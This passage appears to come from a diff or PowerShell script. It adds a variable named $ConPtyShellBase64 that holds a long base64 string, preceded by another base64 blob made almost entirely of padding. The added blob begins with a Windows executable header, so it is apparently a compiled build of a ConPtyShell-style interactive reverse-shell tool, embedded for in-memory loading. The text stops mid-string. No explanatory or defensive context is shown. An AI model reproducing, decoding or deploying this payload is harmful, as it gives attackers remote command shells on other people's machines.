AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAwAAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="
+ $ConPtyShellBase64 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAJNbPmAAAAAAAAAAAOAAAgELAQgAAHAAAAAgAAAAAAAA/n8AAAAgAAAAoAAAAABAAAAgAAAAEAAABAAAAAAAAAAEAAAAAAAAAADgAAAAEAAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAALB/AABLAAAAAKAAAMgCAAAAAAAAAAAAAAAAAAAAAAAAAMAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAABGAAAAAgAAAAcAAAABAAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAMgCAAAAoAAAABAAAACAAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAMAAAAAQAAAAkAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOB/AAAAAAAASAAAAAIABQDwMQAAwE0AAAEAAABcAAAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgIoAwAACipKAnIBAABwAygEAAAKKAUAAAoqXgJ7AwAABBcWKBkAAAYmAhZ9AgAABBYqABMwBgBOAAAAAQAAEQIXfQIAAAQCA30DAAAEAv4GBgAABnMJAAAGCn4IAAAKCxYMFhYGfggAAAoWEgIoBQAABgsHIOgDAAAoBAAABiYHKAMAAAYmAnsCAAAEKh4CKAkAAAoqAAATMAQATgAAAAIAABEDLQcgAAABABABAygMAAAKCgIGAw8BKBcAAAYLBy0CBioGKA0AAAoHIAQAAMAuFgcgBQAAgC4OByAjAADALgZ+CAAACioDKAwAAAoKK8MAABMwBQBhAAAAAgAAEQQtEdAYAAABKA4AAAooDwAAChACBCgMAAAKCgIDBgQPAigWAAAGCwcgBAAAwC4QByAFAACALggHICMAAMAzDwYoDQAACgQoDAAACgorzQcmBy0CBioGKA0AAAp+CAAACioAAAATMAcA2QEAAAMAABEWagt+CAAAChMHcwgAAAYTCB9AFgJvEAAACigSAAAGEwURBX4IAAAKKBEAAAosJnI3AABwAm8QAAAKEwsSCygSAAAKcoEAAHAoEwAACigUAAAKEQcqHxAWKBgAAAYTBBEEKBUAAAoTDBIMKBYAAAoLEgQSBCgWAAAKKBcAAApqWCgYAAAKFhMJOEABAAARBNAGAAACKA4AAAooGQAACqUGAAACEwoSBCgWAAAKEg3+FQYAAAIRDYwGAAACKBoAAApqWCgbAAAKEwQSCnsMAAAEAm8QAAAKQOwAAAASCnsOAAAEHyVA3gAAABEFEgp7EAAABCgcAAAKKBUAAAYSAhYWGCgTAAAGObwAAAARCAhvBwAABiwMCCgUAAAGJjimAAAACBcWKBkAAAYNCX4IAAAKKBEAAAosDAgoFAAABiY4hAAAAAnQCAAAAigOAAAKKBkAAAqlCAAAAgoSAHwZAAAEexwAAAR+CAAACigdAAAKLE8SAHwZAAAEexoAAAQWMUASAHwZAAAEexwAAAQoHgAAChMGEQZyuQAAcCgfAAAKLAUIEwcrMAl+CAAACigdAAAKLAYJKA0AAAoIKBQAAAYmCCgUAAAGJhEJF1gTCREJagc/t/7//xEHKgAAABMwAwDbAAAABAAAEX4IAAAKChIB/hUOAAACEgL+FQ4AAAIHjA4AAAIoGgAACg0IjA4AAAIoGgAAChMEAygaAAAGCgZ+CAAACigRAAAKLAIWKgISARIDKBEAAAYsJnLRAABwKBAAAAYTBRIFKBIAAAooBAAACigUAAAKBigUAAAGJhYqBhICEgQoEQAABiwmckkBAHAoEAAABhMGEgYoEgAACigEAAAKKBQAAAoGKBQAAAYmFioSAXtKAAAEEgJ7SgAABDMZEgF7SQAABBICe0kAAAQzCQYoFAAABiYXKgYoFAAABiYWKgATMAYA+QAAAAUAABF+CAAACgp+CAAACgsCKBoAAAYKBn4IAAAKKBEAAAosC3LBAQBwcwIAAAZ6EgL+FQ0AAAIgAgIAABIDKA0AAAYsGnIzAgBwKBAAAAaMGAAAASggAAAKcwIAAAZ6BighAAAKbxAAAAoSAigOAAAGEwQRBCwrcoECAHASBCgSAAAKcs0CAHAoEAAABhMFEgUoEgAACigiAAAKKBQAAAoHKhICez0AAAQSAntAAAAEEgJ7QQAABBICFhcoDwAABgsHfggAAAooEQAACi0OBxVzIwAACigRAAAKLB9y8wIAcCgQAAAGEwYSBigSAAAKKAQAAAooFAAACgcqBypCKCEAAApvJgAACiggAAAGKgAAEzABABMAAAAGAAARAignAAAKCgZvJgAACiggAAAGKgAbMAUASgAAAAcAABESAP4VDwAAAgIWEgAGjA8AAAIoGgAAChIBKB0AAAYMCCwNEgIoEgAACnMCAAAGehIAfFEAAAQoKAAACignAAAKDd4FJhQN3gAJKgAAARAAAAAALwAUQwAFHwAAARswBgDLAAAACAAAERYKFgsCDAMoKQAACgreGCZyLQMAcA8BKBIAAAooBAAACnMCAAAGeiACAgAAEgMoPQAABiwcKDwAAAYLcjMCAHAHjBgAAAEoIAAACnMCAAAGen4IAAAKEwQYFxZ+CAAAChYXKDgAAAYTBBIF/hUXAAACEgUYfYoAAAQSBQgoOwAABn2MAAAEEgUG0Sg6AAAGaH2LAAAEEQQSBREFjBcAAAIoGgAACig5AAAGLBwoPAAABgtyZQMAcAeMGAAAASggAAAKcwIAAAZ6EQQqAAEQAAAAAAYACQ8AGAIAAAEbMAQAjgAAAAkAABEg9AEAACgqAAAKH2SNIQAAAQoCBh9kFig/AAAGDSgrAAAKBhYJbywAAAoTBBEEF40jAAABEwcRBxYfIJ0RB28tAAAKFppvLgAAChMFEQQXjSMAAAETCBEIFh8gnREIby0AAAoXmm8uAAAKEwYRBRIBKC8AAAosEREGEgIoLwAACiwGAwdUBAhU3gMm3gAqAAABEAAAAAAKAICKAAMCAAABEzAEAGUAAAAKAAAREgD+FRQAAAISAAaMFAAAAigaAAAKfX4AAAQSABd9gAAABBIAfggAAAp9fwAABAIDEgAgAAAQACgqAAAGLQtyswMAcHMCAAAGegQFEgAgAAAQACgqAAAGLQty8QMAcHMCAAAGeioAAAATMAcAhQAAAAsAABECH/YoKAAABoETAAABAx/1KCgAAAaBEwAAAQQf9CgoAAAGgRMAAAFyMQQAcCAAAADAGX4IAAAKGSCAAAAAfggAAAooKwAABgpyQQQAcCAAAADAGX4IAAAKGSCAAAAAfggAAAooKwAABgsf9QYoJwAABiYf9AYoJwAABiYf9gcoJwAABiYqch/1AygnAAAGJh/0BCgnAAAGJh/2AignAAAGJioAABMwAgA5AAAADAAAERYKH/UoKAAABgsHEgAoMQAABi0Lck8EAHBzAgAABnoGHwxgCgcGKDAAAAYtC3KFBABwcwIAAAZ6KgAAABMwBQA5AAAADQAAERUKKEgAAAYSAf4VFQAAAhIBDgRofYEAAAQSAQVofYIAAAQHA3ETAAABBHETAAABFgIoLgAABgoGKgAAABMwBwDcAAAADgAAEX4IAAAKCn4IAAAKFxYSACghAAAGCwctDQZ+CAAACigRAAAKLBpy3wQAcCgwAAAKjBgAAAEoMQAACnMCAAAGehIC/hURAAACEgJ8ZgAABAiMEQAAAigaAAAKfWgAAAQSAgYoMgAACn1nAAAEEgJ7ZwAABBcWEgAoIQAABgsHLRpyYgUAcCgwAAAKjBgAAAEoMQAACnMCAAAGehICe2cAAAQWAwIoFwAACigcAAAKfggAAAp+CAAACigiAAAGCwctGnKmBQBwKDAAAAqMGAAAASgxAAAKcwIAAAZ6CCoTMAoAcAAAAA8AABESAP4VEwAAAhIB/hUUAAACB4wUAAACKBoAAAoMEgEIfX4AAAQSA/4VFAAAAhIDCH1+AAAEFAMSARIDFiAAAAgAfggAAAoUAhIAKCMAAAYTBBEELRpyBAYAcCgwAAAKjBgAAAEoMQAACnMCAAAGegYqEzACAB0AAAAQAAARAiAWAAIAaigbAAAKKEoAAAYKEgADKEsAAAYLByoAAAATMAUAWAAAABEAABECdAEAABsKBhaapRMAAAELBheapRMAAAEMIAABAAANFhMEFhMFFhMGCY0hAAABEwcHEQcJEgZ+CAAACigsAAAGEwQIEQcJFihAAAAGEwURBRYxBBEELdEqEzADADQAAAASAAARGI0CAAABCgYWAowTAAABogYXA4wTAAABohT+Bk0AAAZzMwAACnM0AAAKCwcGbzUAAAoHKhMwBQBtAAAAEwAAEQJ0AQAAGwoGFpqlEwAAAQsGF5qlEwAAAQwGGJqlEwAAAQ0gAAEAABMEFhM